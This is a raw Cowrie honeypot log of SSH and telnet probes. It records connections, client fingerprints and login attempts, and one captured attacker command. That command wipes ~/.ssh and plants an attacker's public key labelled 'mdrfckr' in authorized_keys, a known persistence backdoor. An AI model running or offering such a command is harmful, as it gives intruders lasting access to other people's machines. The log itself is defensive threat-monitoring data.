{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:40.760571Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:41.263081Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:41.265760Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:41.505202Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:41.509057Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.231","src_port":45686,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b48682d973e","protocol":"ssh","message":"New connection: 14.103.114.231:45686 (10.17.0.5:22) [session: 8b48682d973e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:41.721364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:41.725622Z","src_ip":"14.103.114.231","session":"8b48682d973e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:41.947816Z","src_ip":"14.103.114.231","session":"8b48682d973e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:42.864644Z","src_ip":"14.103.114.231","session":"8b48682d973e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:44.088897Z","src_ip":"14.103.114.231","session":"8b48682d973e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.231","src_port":45700,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbbc41a1774f","protocol":"ssh","message":"New connection: 14.103.114.231:45700 (10.17.0.5:22) [session: fbbc41a1774f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:44.317923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:44.323169Z","src_ip":"14.103.114.231","session":"fbbc41a1774f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:44.551800Z","src_ip":"14.103.114.231","session":"fbbc41a1774f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:45.927993Z","src_ip":"14.103.114.231","session":"fbbc41a1774f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:46.713166Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:46.721169Z","src_ip":"14.103.114.231","session":"fbbc41a1774f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44882,"dst_ip":"159.203.135.109","dst_port":23,"session":"4659e76f85d9","protocol":"telnet","message":"New connection: 147.182.143.59:44882 (159.203.135.109:23) [session: 4659e76f85d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:50.514143Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52060,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d603b566b3","protocol":"telnet","message":"New connection: 45.58.127.90:52060 (10.17.0.5:23) [session: c8d603b566b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:52.192910Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42996,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd58262a4488","protocol":"telnet","message":"New connection: 45.58.127.90:42996 (10.17.0.5:23) [session: cd58262a4488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:59.061271Z"}
{"eventid":"cowrie.session.closed","duration":16.688706398010254,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:07.202760Z","src_ip":"147.182.143.59","session":"4659e76f85d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37534,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf42d00225fd","protocol":"telnet","message":"New connection: 147.182.143.59:37534 (159.203.135.109:23) [session: cf42d00225fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:13.485142Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53440,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f848bab0995","protocol":"telnet","message":"New connection: 45.58.127.90:53440 (10.17.0.5:23) [session: 4f848bab0995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:23.477657Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53452,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f7758bc499","protocol":"telnet","message":"New connection: 45.58.127.90:53452 (10.17.0.5:23) [session: 81f7758bc499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:28.115739Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36108,"dst_ip":"159.203.135.109","dst_port":23,"session":"d841fd85b298","protocol":"telnet","message":"New connection: 147.182.143.59:36108 (159.203.135.109:23) [session: d841fd85b298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:31.670249Z"}
{"eventid":"cowrie.session.closed","duration":18.45480179786682,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:31.939803Z","src_ip":"147.182.143.59","session":"cf42d00225fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3eb74ba2382","protocol":"telnet","message":"New connection: 45.58.127.90:55472 (10.17.0.5:23) [session: c3eb74ba2382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:33.459839Z"}
{"eventid":"cowrie.session.closed","duration":44.36582803726196,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:36.558606Z","src_ip":"45.58.127.90","session":"c8d603b566b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.860124826431274,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:39.921283Z","src_ip":"45.58.127.90","session":"cd58262a4488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55400,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f37157703a","protocol":"telnet","message":"New connection: 45.58.127.90:55400 (10.17.0.5:23) [session: 82f37157703a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:42.560873Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59858,"dst_ip":"159.203.135.109","dst_port":23,"session":"deafe86fbaec","protocol":"telnet","message":"New connection: 147.182.143.59:59858 (159.203.135.109:23) [session: deafe86fbaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:46.045003Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55410,"dst_ip":"10.17.0.5","dst_port":23,"session":"45ce5caf1628","protocol":"telnet","message":"New connection: 45.58.127.90:55410 (10.17.0.5:23) [session: 45ce5caf1628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:48.213493Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48822,"dst_ip":"159.203.135.109","dst_port":23,"session":"b47c612f0664","protocol":"telnet","message":"New connection: 147.182.143.59:48822 (159.203.135.109:23) [session: b47c612f0664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:20:51.037078Z"}
{"eventid":"cowrie.session.closed","duration":14.648313283920288,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:00.693159Z","src_ip":"147.182.143.59","session":"deafe86fbaec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.86560893058777,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:03.343125Z","src_ip":"45.58.127.90","session":"4f848bab0995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.497684478759766,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:08.534659Z","src_ip":"147.182.143.59","session":"b47c612f0664","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.76132011413574,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:11.876933Z","src_ip":"45.58.127.90","session":"81f7758bc499","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.242109060287476,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:19.701818Z","src_ip":"45.58.127.90","session":"c3eb74ba2382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.964743852615356,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:24.178098Z","src_ip":"45.58.127.90","session":"45ce5caf1628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.72504186630249,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:24.285806Z","src_ip":"45.58.127.90","session":"82f37157703a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46022,"dst_ip":"10.17.0.5","dst_port":23,"session":"336d75043697","protocol":"telnet","message":"New connection: 45.58.127.90:46022 (10.17.0.5:23) [session: 336d75043697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:29.802654Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46014,"dst_ip":"10.17.0.5","dst_port":23,"session":"77fcc48ab4be","protocol":"telnet","message":"New connection: 45.58.127.90:46014 (10.17.0.5:23) [session: 77fcc48ab4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:30.773558Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46036,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbafeeae81c3","protocol":"telnet","message":"New connection: 45.58.127.90:46036 (10.17.0.5:23) [session: cbafeeae81c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:31.559888Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34260,"dst_ip":"159.203.135.109","dst_port":23,"session":"96377f2104c0","protocol":"telnet","message":"New connection: 147.182.143.59:34260 (159.203.135.109:23) [session: 96377f2104c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:33.852092Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46038,"dst_ip":"10.17.0.5","dst_port":23,"session":"db38791e31bc","protocol":"telnet","message":"New connection: 45.58.127.90:46038 (10.17.0.5:23) [session: db38791e31bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:35.916702Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57802,"dst_ip":"159.203.135.109","dst_port":23,"session":"eebeaf4d2f75","protocol":"telnet","message":"New connection: 147.182.143.59:57802 (159.203.135.109:23) [session: eebeaf4d2f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:41.208203Z"}
{"eventid":"cowrie.session.closed","duration":70.59116101264954,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:42.261272Z","src_ip":"147.182.143.59","session":"d841fd85b298","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57814,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c1758d4ccf9","protocol":"telnet","message":"New connection: 147.182.143.59:57814 (159.203.135.109:23) [session: 1c1758d4ccf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:45.948700Z"}
{"eventid":"cowrie.session.closed","duration":13.121625185012817,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:46.973617Z","src_ip":"147.182.143.59","session":"96377f2104c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.174011707305908,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:54.382056Z","src_ip":"147.182.143.59","session":"eebeaf4d2f75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.339651107788086,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:21:59.288225Z","src_ip":"147.182.143.59","session":"1c1758d4ccf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59806,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ddcaf10fa70","protocol":"telnet","message":"New connection: 45.58.127.90:59806 (10.17.0.5:23) [session: 1ddcaf10fa70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:05.045626Z"}
{"eventid":"cowrie.session.closed","duration":33.65635085105896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:05.216201Z","src_ip":"45.58.127.90","session":"cbafeeae81c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.62153697013855,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:07.394962Z","src_ip":"45.58.127.90","session":"77fcc48ab4be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.63602542877197,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:11.438584Z","src_ip":"45.58.127.90","session":"336d75043697","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.08795475959778,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:15.004567Z","src_ip":"45.58.127.90","session":"db38791e31bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":16646,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f247d41f2b8","protocol":"ssh","message":"New connection: 194.59.206.2:16646 (159.203.135.109:22) [session: 8f247d41f2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:17.142584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:17.146600Z","src_ip":"194.59.206.2","session":"8f247d41f2b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:17.237901Z","src_ip":"194.59.206.2","session":"8f247d41f2b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:17.323715Z","src_ip":"194.59.206.2","session":"8f247d41f2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60778,"dst_ip":"10.17.0.5","dst_port":23,"session":"4825890f3f1a","protocol":"telnet","message":"New connection: 45.58.127.90:60778 (10.17.0.5:23) [session: 4825890f3f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:20.885488Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":60904,"dst_ip":"159.203.135.109","dst_port":23,"session":"31383f844cdc","protocol":"telnet","message":"New connection: 147.182.143.59:60904 (159.203.135.109:23) [session: 31383f844cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:24.076569Z"}
